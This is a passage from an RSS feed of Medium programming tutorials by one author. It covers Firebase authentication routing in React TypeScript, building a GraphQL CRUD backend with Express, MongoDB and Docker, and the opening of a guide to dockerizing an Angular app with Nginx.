href="https://medium.com/media/557af69f745c47a8f146026721726a5c/href">https://medium.com/media/557af69f745c47a8f146026721726a5c/href</a></iframe><p><strong>Note: </strong>Replace the interface in the <strong>HomePage.tsx</strong> to use the interface we have defined above.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b2901f238d2596039acc5c7b0e3a79ca/href">https://medium.com/media/b2901f238d2596039acc5c7b0e3a79ca/href</a></iframe><p><strong>v) Create CarPage.tsx</strong></p><p>In the <strong>./src/pages</strong> folder create a <strong>CartPage.tsx</strong> file and paste the contents below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/15915002b46cc487d9ca772f98cc492c/href">https://medium.com/media/15915002b46cc487d9ca772f98cc492c/href</a></iframe><p>The code above defines a React Functional Component with a link back to the <strong>HomePage.</strong></p><p><strong>vi) Create SignUpPage.tsx</strong></p><p>We will first create an <strong>auth folder</strong> to contain all authentication pages. In the <strong>./src</strong> folder create a <strong>./src/auth</strong> folder.<br>Then create <strong>SignUpPage.tsx</strong> file which will contain the social logins and enable us to signup to the application. For now, we will set up the page template and later on introduce the social logins.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/dd524285676e8793b476bad5c8418af4/href">https://medium.com/media/dd524285676e8793b476bad5c8418af4/href</a></iframe><h3>Auth Module</h3><p>Now that we have all the pages defined, we will proceed to set up the authentication and routing logic.</p><p><strong>i) Create an Auth Module.</strong></p><p>The auth module folder will contain all logic regarding authentication. In the<strong>./src/modules</strong> folder, create an <strong>auth</strong> folder.</p><p><strong>ii) Create index.ts Auth Module entry file</strong></p><p>In the<strong> ./src/modules/auth folder, </strong>create an <strong>index.ts </strong>file to serve as the entry point for the authentication module and paste the details below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4fe611488f1e33e03320994ed20401eb/href">https://medium.com/media/4fe611488f1e33e03320994ed20401eb/href</a></iframe><p>This file contains logic for authenticating users using social login providers.</p><p><strong>iii) Create AuthRouter.tsx file</strong></p><p>In the <strong>./src/modules/auth</strong> folder create an <strong>AuthRoute.tsx </strong>file and paste the details below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/bb63f716cc8ef37b2f29fc1b9dd8fd20/href">https://medium.com/media/bb63f716cc8ef37b2f29fc1b9dd8fd20/href</a></iframe><p>This Component file will serve as the wrapper for all pages and re-route unauthenticated users to the <strong>SignUpPage.</strong></p><h3>Routes and Router Config</h3><p>Now that we have all the <strong>page templates</strong> and the <strong>auth module</strong> defined, we will proceed to implement dynamic routing depending on the auth state of the user.</p><p><strong>i) Create route.interface.tsx</strong></p><p>In the<strong> ./src/interfaces </strong>folder, create a<strong> route.interface.ts </strong>file which will contain type definition for routes as shown below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/cba8bcc99d33f642f9da2d31e0875fa8/href">https://medium.com/media/cba8bcc99d33f642f9da2d31e0875fa8/href</a></iframe><p><strong>Note: </strong>The protected boolean variable will determine if the page is protected or not.</p><p><strong>ii) Create routes.ts Config file</strong></p><p>We will then create the routes configuration file containing all route definitions. In the <strong>./src/config</strong> folder, create a <strong>routes.ts </strong>file and paste the contents below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c369b02deb0330125ef6b9336bf0d537/href">https://medium.com/media/c369b02deb0330125ef6b9336bf0d537/href</a></iframe><p>In the above configuration file, we define <strong>HomePage</strong> and <strong>SignUpPage</strong> as unprotected whereas the <strong>CartPage</strong> will require the user to be authenticated to access the page.</p><h3>App Route Configuration</h3><p>Now that we have the <strong>routes</strong> and <strong>routing config</strong> defined, we will proceed to bring all the components together by updating our root component at <strong>./src/App.tsx</strong></p><p>Replace the contents of <strong>./src/App.tsx </strong>with the contents bellow:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/24669018f76fb028dab931d90efccd84/href">https://medium.com/media/24669018f76fb028dab931d90efccd84/href</a></iframe><p>In the above code snippet, we use the<a href="https://reactjs.org/docs/hooks-effect.html"> <strong>useEffect</strong></a> hook to keep track and update the auth state of the user. In the render method, we map through the list of routes and render depending on the <strong>protected</strong> attribute of the route.</p><p>You should now be able to test all the pages routing:</p><p><strong>Unprotected</strong> — HomePage: (http://localhost:3000)</p><p><strong>Protected</strong> — CartPage: (<a href="http://localhost:3000/auth/signup">http://localhost:3000/</a>cart)</p><p><strong>Unprotected</strong> — SignUpPage: (<a href="http://localhost:3000/auth/signup">http://localhost:3000/auth/signup</a>)</p><h3>Users Authentification</h3><p>Now that we have our <strong>routes</strong> and <strong>routGaurd</strong> defined, we will proceed to update the <strong>SignUpPage</strong> to authenticate users and thus be able to access protected pages.</p><p>Update the<strong> ./src/pages/auth/SignUpPage.tsx</strong> file with the contents below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e3e17f8cfd6585b1e3ab48a1016144d1/href">https://medium.com/media/e3e17f8cfd6585b1e3ab48a1016144d1/href</a></iframe><p>In the above code snippet, we are using the <strong>SignInWithSocialMedia</strong> module and feeding it with a social login provider to authenticate the user.</p><p>This is how your <strong>SignUpPage</strong> should look like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*1UBR6t3qh2IuBg_oxGcdZA.png" /></figure><p>On Signing up using google, a popup should appear while disabling the signup buttons as it awaits the user&#39;s credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XJt4c_neuKR4nJhzLUw02w.png" /></figure><p>Once the user is authenticated, they will be able to access the protected pages.</p><h3><strong>Accessing User object.</strong></h3><p>To access the user object on any authenticated pages, use the code snippet below:</p><pre>import { auth } from &#39;../config/firebase&#39;;<br>console.log(auth.currentUser)</pre><p>We first import the <strong>auth</strong> module and in the react component, we can access the user object as <strong>auth.currentUser</strong></p><h3><strong>Conclusion</strong></h3><p>Hope you’ve learnt something new. Please leave your comments and suggestions.</p><p>The source code for the project can be found at:</p><p><a href="https://github.com/GeoffMahugu/react-firebase.git">GeoffMahugu/react-firebase</a></p><p><em>More content at </em><a href="http://plainenglish.io/"><em>plainenglish.io</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b9d9605fa53" width="1" height="1" alt=""><hr><p><a href="https://javascript.plainenglish.io/firebase-auth-with-react-typescript-4b9d9605fa53">Firebase Auth with React Typescript</a> was originally published in <a href="https://javascript.plainenglish.io/">JavaScript in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to build a GraphQL API backend with Express and MongoDB]]></title>
            <link>https://javascript.plainenglish.io/graphql-express-mongo-backend-d41625f728bf?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/d41625f728bf</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Mon, 12 Apr 2021 19:36:50 GMT</pubDate>
            <atom:updated>2021-12-15T12:39:51.301Z</atom:updated>
            <content:encoded><![CDATA[<p>Quick setup, real-time client-centric single endpoint. Sounds too good to be true? In this setup, you will learn how to build a modern scalable GraphQL API backend using Node.js, with MongoDB as the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*miF1c7TflvGWQ95zpy8QLA.png" /></figure><h4>Why choose GraphQL over Restful API?</h4><p><strong>1. Single Endpoint</strong></p><p>All data querying and mutation is done on a single endpoint, unlike Restful APIs where you have to know the specific endpoints to fetch data.</p><p><strong>2. Fixes Under &amp; Overfetching</strong></p><p>GraphQL is a querying language and thus it&#39;s optimized to retrieve the specified data, unlike Rest APIs where data retrieved either has extra values (overfetching) or doesn&#39;t have all values and thus the need to hit multiple endpoints to retrieve the whole sum of data (underfetching).</p><p><strong>3. Faster Development (Client-centric API)</strong></p><p>The API is defined using a schema that&#39;s shared between the backend and frontend developer thus removing the ambiguity of APIs. As a backend/frontend developer you will have the same data reference.</p><p><strong>4. Auto API Documentation</strong></p><p>Once the project is up and running you have access to the GraphQL Web Interface — GraphQL Client ( served at localhost:3000/graphql) that contains documentation of all queries &amp; mutations you can perform on the API.</p><h4>Setup Architecture</h4><p>In this doc, we are going to set up the GraphQL backend using Express server as the backend server and MongoDB as the database. We will then proceed to create CRUD operations on a product instance.</p><p>This is what the application architecture looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*O4wCVFlyCTYeI0LN42RTsw.png" /></figure><h4>Step 1 — Setup Express.js Server</h4><p>We will use <a href="https://expressjs.com/en/starter/installing.html">Express.js</a> as the backend server enabling us to host the <a href="https://graphql.org/learn/">GraphQL</a> server and integrate it with the <a href="https://www.mongodb.com/">MongoDB</a> database.</p><p><strong>1. Initialize the project</strong></p><p>Create a project folder and cd into the folder to initialize the node package manager (npm).</p><p><strong>Prerequisites:</strong></p><ul><li>Have <a href="https://nodejs.org/en/download/">Node.js</a> installed.</li></ul><pre>npm init</pre><p><strong>2. Install Express.js</strong></p><pre>npm install express --save</pre><p><strong>3. Install Express dependencies:</strong></p><pre>npm install cors body-parser --save</pre><p><strong>4. Install nodemon</strong></p><p>This will help us serve the express application and do hot reloads. We will install it as a dev dependency:</p><p>npm install --save-dev nodemon</p><p>To add the <strong>server run</strong> script, update your <strong>package.json </strong>file by adding this line:</p><pre>&quot;scripts&quot;: {<br>    &quot;serve&quot;: &quot;nodemon ./app.js localhost 8080&quot;<br>},</pre><p><strong>5. Create Hello world API Test Application</strong></p><p>Create your application entry file<strong> app.js</strong> (in the root folder) and paste the contents below:</p><pre>const express = require(&#39;express&#39;)<br>const app = express()<br>const port = 3000<br><br>app.get(&#39;/&#39;, (req, res) =&gt; {<br>  res.send(&#39;Hello World!&#39;)<br>})<br><br>app.listen(port, () =&gt; {<br>  console.log(`Example app listening at http://localhost:${port}`)<br>})</pre><p>The code above is a simple hello world script to make sure the application is running. You can access the response at <a href="http://localhost:3000/">http://localhost:3000</a> by running the command:</p><pre>npm run serve</pre><h4>Step 2 — Setup MongoDB</h4><p>To get the database up and running quickly we will use a docker container image with persistent storage on your local disk.</p><p><strong>Prerequisites:</strong></p><ul><li><a href="https://docs.docker.com/get-started/">Have docker installed</a>.</li><li><a href="https://docs.docker.com/compose/install/">Have docker-compose installed</a>. This is used to orchestrate the building and running of docker images.</li></ul><p><strong>1. Environment settings</strong></p><p>To create the environment settings to be used by both express and MongoDB, you will create a <strong>.env </strong>file at the root of the project and paste the details below (Edit the values according to your preference):</p><pre>MONGO_INITDB_ROOT_USERNAME=backend_admin</pre><pre>MONGO_INITDB_ROOT_PASSWORD=password</pre><pre>MONGO_INITDB_DATABASE=ecommerce</pre><pre>MONGO_DATABASE_HOST=localhost</pre><pre>MONGO_DATABASE_PORT=27017</pre><p>Install <strong>DotEnv</strong> to access the environment variables in the Node.js runtime (This will be used in the express app to access the environment variables).</p><pre>npm install dotenv</pre><p><strong>2. Create Mongo_init file</strong></p><p>In this step, we will be creating the initialization script for the Mongo Docker image. Create a <strong>mongo/docker</strong> folder and create a <strong>mongo_init.js</strong> file in it; Paste the contents below (<strong>/mongo/docker/mongo_init.js</strong>):</p><blockquote><strong>Note:</strong> Mongo Docker Image provides specifications for an initialization script where we can specify the database/users/tests to create for the container image.</blockquote><pre>db.createUser({<br>    user: &quot;backend_admin&quot;,<br>    pwd: &quot;password&quot;,<br>    roles: [{<br>        role: &quot;root&quot;,<br>        db: &quot;admin&quot;<br>    }]<br>});</pre><p><strong>3. Create docker-compose file</strong></p><p>We will then create a <strong>docker-compose.yml</strong> (describes specs for the Image and orchestrates the image lifecycle) file at the root of the project folder and place the contents below:</p><blockquote><strong>Note: </strong>We use Environment variables previously specified in the <strong>.env</strong> file. We use the initialization script provided in the<strong> /mongo/docker/mongo_init.js </strong>file to provide specs for user to be created.</blockquote><pre>version: &quot;3.3&quot; # specify docker-compose version</pre><pre># Define the services/containers to be run</pre><pre>services:<br>  database: # name of service: database<br>  image: mongo:4.0.3 # specify image to build container from<br>  container_name: mean_mongo<br>  restart: always<br>  environment:<br>    MONGO_INITDB_ROOT_USERNAME: ${MONGO_INITDB_ROOT_USERNAME}<br>    MONGO_INITDB_ROOT_PASSWORD: ${MONGO_INITDB_ROOT_PASSWORD}<br>    MONGO_INITDB_DATABASE: ${MONGO_INITDB_DATABASE}<br>  volumes:<br>    - ./mongo:/home/mongodb<br>  # Copies the files from /docker folder containing cong to /docker-entrypoint-initdb.d/ where init scrips for conainer run.<br>    - ./mongo.docker/:/docker-entrypoint-initdb.d/<br>    - ./mongo/db:/data/db<br>  ports:<br>    - &quot;${MONGO_DATABASE_PORT}:27017&quot; # specify port forewarding</pre><p><strong>4. Build and run MongoDB image</strong></p><p>To build and run the container image, run the script below:</p><pre>docker-compose -f &quot;./docker-compose.yml&quot; up -d --build</pre><p>To check if the container image is running:</p><pre>docker ps</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*mIE9QyWYT4UITfEvzq9hMA.jpeg" /><figcaption>You should see the docker image running</figcaption></figure><p>To connect and visualize the database, you can use <a href="https://www.mongodb.com/try/download/compass">Mongo Compass</a> which is a free open-source tool (Connect using the credentials provided in your .env file).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gs6oCoTwK4AhTIPxyu_Epw.jpeg" /></figure><h4><strong>Step 3 — Setup GraphQL API Service</strong></h4><p>We will be implementing <strong>CRUD</strong> on a product instance. Our API will be able to Create, Read, Update and Delete Products from the MongoDB using the GraphQL API using Mongoose as the ODM (Object Document Mapping).</p><p><strong>1. Install Mongoose.<br></strong>To get started, we will need to install <a href="https://mongoosejs.com/">Mongoose</a> which will help us define the database s<strong>chema</strong>, easily interact and manipulate DB instances and easily connect to MongoDB.</p><pre>npm i mongoose</pre><p><strong>2. Create Schema file</strong></p><p>Next, we will create a schema file. First, create a <strong>models</strong> folder at the root of your project and then create a <strong>product.js</strong> (/models/product.js) file. Paste the contents below :</p><pre>const mongoose = require(&#39;mongoose&#39;);</pre><pre>const Schema = mongoose.Schema;</pre><pre>const productSchema = new Schema ({</pre><pre>name: {<br>        type: String,<br>        required: true,<br>    },<br>    description: {<br>        type: String,<br>        required: true,<br>    },<br>    price: {<br>        type: Number,<br>        min: [1],<br>        required: true,<br>    },<br>    discount: {<br>        type: Number,<br>        min: [1],<br>        required: false,<br>    },<br>    created_at: {type: Date, default: Date.now},<br>     updated_at: {type: Date, default: Date.now()}</pre><pre>});</pre><pre>module.exports = mongoose.model(&#39;Product&#39;, productSchema);</pre><p><strong>3. </strong><a href="https://graphql.org/graphql-js/running-an-express-graphql-server/"><strong>Install GraphQL </strong></a><strong>and its dependencies:</strong></p><pre>npm install express-graphql graphql --save</pre><p><strong>4. Create GrapQL Resolver</strong></p><p>GraphQL uses resolvers to define the <strong>business logic / API logic</strong> for the application.</p><p>We will first create a product resolver<strong>:</strong></p><p>In the root folder of the project, create a <strong>GraphQL folder,</strong> and in it, create a <strong>resolvers.js</strong> file(/graphql/resolvers.js). In it, paste the code below:</p><pre>const Product = require(&#39;../models/product&#39;);</pre><pre>module.exports = {<br>  createProduct: async function ({ productInput }) {<br>    const product = new Product({<br>      name: productInput.name,<br>      description: productInput.description,<br>      price: productInput.price,<br>      discount: productInput.discount,<br>    });</pre><pre>    const createdProduct = await product.save();<br>    return {<br>      ...createdProduct._doc,<br>      _id: createdProduct._id.toString(),<br>    };<br>  },<br>}</pre><p><strong>4. Create GrapQL Schema</strong></p><p>GraphQL uses schemas to define the data format of APIs and the Type of resolver to be run whenever a query/mutation is requested by a client.</p><p><strong>CREATE: </strong>We will proceed to create a<strong> </strong>schema for the created product<strong>.</strong></p><p>In the root of the project create a GraphQL folder and add a <strong>schema.js </strong>file (/graphql/schema.js) and paste the contents below:</p><pre>const { buildSchema } = require(&#39;graphql&#39;);</pre><pre>export default buildSchema(`<br>    type Product{<br>        _id:ID!<br>        name: String!<br>        description: StriWng!<br>        price: Float!<br>        discount: Int<br>        created_at: String!<br>        updated_at: String!<br>    }</pre><pre>   input ProductInputData { <br>       name: String!<br>       description: String!<br>       price: Float!<br>       discount: Int<br>    }</pre><pre>    type RootMutation {<br>       createProduct(productInput:ProductInputData): Product!<br>    }</pre><pre>   schema {<br>       mutation: RootMutation<br>   }</pre><pre>`);</pre><p>To read more on GraphQL schema definition, follow this <a href="https://graphql.org/learn/schema/">link</a>.</p><p><strong>5. GraphQL CRUD Operation</strong></p><p>Now that we are done with the create operation, we will proceed to create the other operations.</p><p><strong>READ/QUERY: </strong>Fetch all products API.</p><p>To read all the products created, we will first create the query resolver (in the resolvers file add this as part of the module exports):</p><pre>products: async function () {<br>  const products = await Product.find();<br>  return {<br>    products: products.map((q) =&gt; {<br>      return {<br>        ...q._doc,<br>        _id: q._id.toString(),<br>      };<br>    })<br>  };<br>},</pre><p>Then in the <strong>schema.js</strong> file, add the product query logic (as part of the buildSchema exports):</p><pre>type ProductData {<br>    products: [Product!]!<br>}<br>type RootQuery {<br>    products: ProductData!<br>}<br>schema {<br>    query: RootQuery<br>    mutation: RootMutation<br>}</pre><p><strong>UPDATE:</strong> To update an instance of a product.</p><p>We will first create an <strong>updateProduct</strong> resolver and then register it in the schema. In the <strong>resolvers.js</strong> file add the code below (as part of the module exports):</p><pre>updateProduct: async function ({ id, productInput }) {<br>  const product = await Product.findById(id);<br>  if (!product) {<br>    throw new Error(&#39;Product Not found!&#39;);<br>  }<br>  <br>  product.name = productInput.name;<br>  product.description = productInput.description;<br>  product.price = productInput.price;<br>  product.discount = productInput.discount;</pre><pre>  const updatedProduct = await product.save();<br>  return {<br>    ...updatedProduct._doc,<br>    _id: updatedProduct._id.toString(),<br>  };<br>},</pre><p>And in the<strong> schema.js </strong>file, add <strong>updateProduct</strong> resolver (this takes an ID of the product and mutates the value in the database using values provided in the request):</p><pre>type RootMutation {<br>    createProduct(productInput:ProductInputData): Product!<br>    updateProduct(id: ID!, productInput:ProductInputData): Product!<br>}</pre><p><strong>DELETE: </strong>To delete an instance of a product.</p><p>We will create a <strong>deleteProduct</strong> resolver followed by registering it on the schema. In the resolvers.js file add the code below (as part of the module exports):</p><pre>deleteProduct: async function ({ id, productInput }) {<br>  const product = await Product.findById(id);<br>  if (!product) {<br>    throw new Error(&#39;Product Not found!&#39;);<br>  }</pre><pre>  await Product.findByIdAndRemove(id);<br>  return {<br>    ...product._doc,<br>    id: product._id.toString(),<br>  };<br>},</pre><p>And in the<strong> schema.js </strong>file, add <strong>deleteProduct</strong> resolver (this takes an ID of the product and deletes the instance from the MongoDB):</p><pre>type RootMutation {<br>    createProduct(productInput:ProductInputData): Product!<br>    updateProduct(id: ID!, productInput:ProductInputData): Product!<br>    deleteProduct(id: ID!): Product!<br>}</pre><p>The final<strong> resolvers.js file </strong>should look like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1124a04021e31686821b03982fcd63d6/href">https://medium.com/media/1124a04021e31686821b03982fcd63d6/href</a></iframe><p>The final<strong> schema.js</strong> file should look like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e8b26288582afc42e145a52241f12d49/href">https://medium.com/media/e8b26288582afc42e145a52241f12d49/href</a></iframe><h4>Step 4 — Setup Express Server</h4><p>Initially, we had a simple hello world application. But we will need to configure the Express application entry file <strong>(app.js)</strong> in order to connect to MongoDB and serve the GraphQL server.</p><p>Update the <strong>app.js</strong> file to the contents below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d07edbdbd844c3ed6e86a196c849b80b/href">https://medium.com/media/d07edbdbd844c3ed6e86a196c849b80b/href</a></iframe><h4>Step 5 — Run GraphQL API</h4><p>This is the final step where you can now run the GraphQL server.</p><blockquote><strong>Note: </strong>Make sure the docker container is running.</blockquote><p>To run the server:</p><pre>npm run serve</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*VD51GUA82WkW3_GJhi7l6A.jpeg" /><figcaption>You should see the application serving at localhost:3000</figcaption></figure><p>You can now access the GraphQL client at <a href="http://http//localhost:3000/graphql">HTTP://localhost:3000/graphql</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qfXW_E-lIqdkYBEOy5TvOQ.jpeg" /></figure><h4>Step 6 — Run Queries and Mutations.</h4><p>In the GraphQL console, you can run these queries and mutations:</p><p><strong>1. CREATE Product Mutation</strong> (in the GraphQL client console):</p><pre>mutation {<br>  createProduct(productInput: { name: &quot;Test Product 1&quot;,description: &quot;Test Product&quot;,price: 7000.50,discount: 10}){<br>    _id,<br>    name,<br>    description,<br>    price,<br>    discount,<br>    created_at,<br>    updated_at<br>  }<br>}</pre><p><strong>2. READ All Products Query (i</strong>n the GraphQL client console):</p><pre>{<br>  products{products{_id, description, price, discount,created_at,updated_at}}<br>}</pre><p><strong>3. UPDATE Products Mutation</strong> (in the GraphQL client console):</p><blockquote><strong>Note</strong>: Replace the ID with the one you created.</blockquote><pre>mutation {<br>  updateProduct(id:&quot;6054a67820f5c5716e99b657&quot;,productInput: { name: &quot;Test Product 2&quot;,description: &quot;Test Product&quot;,price: 7500.50,discount: 8}){<br>      _id,<br>      name,<br>      description,<br>      price,<br>      discount,<br>      created_at,<br>      updated_at<br>  }<br>}</pre><p><strong>4. DELETE Products Mutation </strong>(in the GraphQL client console):</p><blockquote><strong>Note</strong>: — Replace the ID with the one you created.</blockquote><pre>mutation {<br>  deleteProduct(id:&quot;6054a67820f5c5716e99b657&quot;){<br>      _id,<br>      name,<br>      description,<br>      price,<br>      discount,<br>      created_at,<br>      updated_at<br>  }<br>}</pre><p>Hope you enjoyed and learned something new!</p><p>The<strong> </strong>full project can be found here:</p><p><a href="https://github.com/GeoffMahugu/apollo-backend">GeoffMahugu/apollo-backend</a></p><p><em>You can follow me on Twitter at </em><a href="https://twitter.com/GeoffreyMahugu"><em>@GeoffreyMahugu</em></a><em>. And if you are interested in working together, email me at geoffreymahugu@gmail.com.</em></p><p><em>More content at </em><a href="http://plainenglish.io/"><em>plainenglish.io</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d41625f728bf" width="1" height="1" alt=""><hr><p><a href="https://javascript.plainenglish.io/graphql-express-mongo-backend-d41625f728bf">How to build a GraphQL API backend with Express and MongoDB</a> was originally published in <a href="https://javascript.plainenglish.io/">JavaScript in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Dockerize your Angular 10 App for Production]]></title>
            <link>https://javascript.plainenglish.io/angular-10-on-docker-to-production-61ee6e84006?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/61ee6e84006</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[angular]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Fri, 11 Sep 2020 02:12:51 GMT</pubDate>
            <atom:updated>2021-04-14T14:01:24.065Z</atom:updated>
            <content:encoded><![CDATA[<p>Creating and deploying an Angular docker image has never been easier. In this documentation, we are going to dockerize our <a href="https://angular.io/">Angular </a>application and proceed with the deployment of the built image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CdKA5RVy277WRCn5RNOsDg.png" /></figure><h4>Why Dockerize your Frontend Angular Application. ?</h4><ol><li><strong>Improved </strong><a href="https://www.infoworld.com/article/3271126/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html"><strong>CI/CD</strong></a><strong>.</strong></li></ol><p>There is simply no price for the sanity and efficiency that comes with dockerizing your application.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2F1guRIRFV5gN4ikrUakg%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2F1guRIRFV5gN4ikrUakg%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2F1guRIRFV5gN4ikrUakg%2F200.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="258" frameborder="0" scrolling="no"><a href="https://medium.com/media/fa69a55c4c1fa2a42bef9cc34d48eb18/href">https://medium.com/media/fa69a55c4c1fa2a42bef9cc34d48eb18/href</a></iframe><p>This can be further improved by including docker build processes in your<a href="https://www.infoworld.com/article/3271126/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html"> CI pipeline.</a> You will save so much time and alleviate so much headache especially if you have a well-defined CI/CD.</p><p><strong>2. Replication &amp; Scalability</strong></p><p>Your application will be self-contained and thus can be auto-scaled on-demand using container orchestration tools like <a href="https://kubernetes.io/">Kubernetes</a>.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FTa7lq6ZMBOqzu%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FTa7lq6ZMBOqzu%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FTa7lq6ZMBOqzu%2Fgiphy-downsized-large.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="326" frameborder="0" scrolling="no"><a href="https://medium.com/media/96ed83a85c8df37dfb5663b85df23486/href">https://medium.com/media/96ed83a85c8df37dfb5663b85df23486/href</a></iframe><p><strong>3. Application Versioning</strong></p><p>Your built docker images can be tagged with version name and thus serve as a reference to a certain state of the application (This will prove useful in reverting back to a stable version/state). For example, myapp:1.0.0.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FQXDtbaYxEhVzpn4SJa%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FQXDtbaYxEhVzpn4SJa%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FQXDtbaYxEhVzpn4SJa%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="435" frameborder="0" scrolling="no"><a href="https://medium.com/media/5970907bf568c32b9718cab91fcbca15/href">https://medium.com/media/5970907bf568c32b9718cab91fcbca15/href</a></iframe><p>These image versions are stored as <a href="https://docs.docker.com/registry/">registries</a> in all code hosting platforms the most popular repository being <a href="https://hub.docker.com/">Docker Hub.</a></p><h4>Prerequisites</h4><ol><li>Basic Knowledge of <a href="https://angular.io/">Angular.</a></li><li>Basic knowledge of <a href="https://docs.docker.com/get-started/">Docker.</a></li><li>Basic knowledge of <a href="https://www.nginx.com/">Nginx.</a></li></ol><h4>Build and Serve your Angular Application</h4><p>So you have built your angular application and you want to serve it locally in order to test how the server will render your bundled application.</p><p>We can use a helpful npm package <a href="https://www.npmjs.com/package/http-server">http-server </a>and serve the bundled application.</p><p><strong>Step1: Install Http-Server</strong></p><pre>npm i http-server</pre><p><strong>Step2: Serve the dist folder</strong></p><p>In your project folder run this command:</p><pre>http-server ./dist</pre><p>Http-server serves on port <strong>8080, </strong>so go to this address<strong> </strong><a href="http://localhost:8080/"><em>http://localhost:8080</em></a><em> </em>to view the application.</p><h4>Docker Setup</h4><p>Basically, a <strong>Docker container/image</strong> is a self-contained application with all its dependencies and can be as small a service eg card processing, newsletter service.</p><p>While a <a href="https://docs.docker.com/engine/reference/builder/#:~:text=A%20Dockerfile%20is%20a%20text,can%20use%20in%20a%20Dockerfile%20."><strong>DockerFile</strong></a> contains instructions on how to build out the container Inclusive of all dependencies.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fgiphy.com%2Fembed%2FRBKG0BP4aRtAs%2Ftwitter%2Fiframe&amp;display_name=Giphy&amp;url=https%3A%2F%2Fmedia.giphy.com%2Fmedia%2FRBKG0BP4aRtAs%2Fgiphy.gif&amp;image=https%3A%2F%2Fi.giphy.com%2Fmedia%2FRBKG0BP4aRtAs%2Fgiphy.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=giphy" width="435" height="288" frameborder="0" scrolling="no"><a href="https://medium.com/media/83bb1e90991104d2c581ae5b693f57e8/href">https://medium.com/media/83bb1e90991104d2c581ae5b693f57e8/href</a></iframe><p>In the steps that follow, we are going to set up the docker configurations needed to build the image and then proceed to build and run the image.</p><p><strong>Step 1: Create DockerFile</strong></p><p><strong>DockerFile</strong> contains instructions to build the docker image (container).<br>At the root of your project create this file <a href="https://docs.docker.com/engine/reference/builder/#:~:text=A%20Dockerfile%20is%20a%20text,can%20use%20in%20a%20Dockerfile%20."><strong>DockerFile</strong> </a>with no extensions.</p><p>The contents of the file will include:</p><pre>FROM nginx:1.15.8</pre><pre>EXPOSE 80</pre><pre>COPY 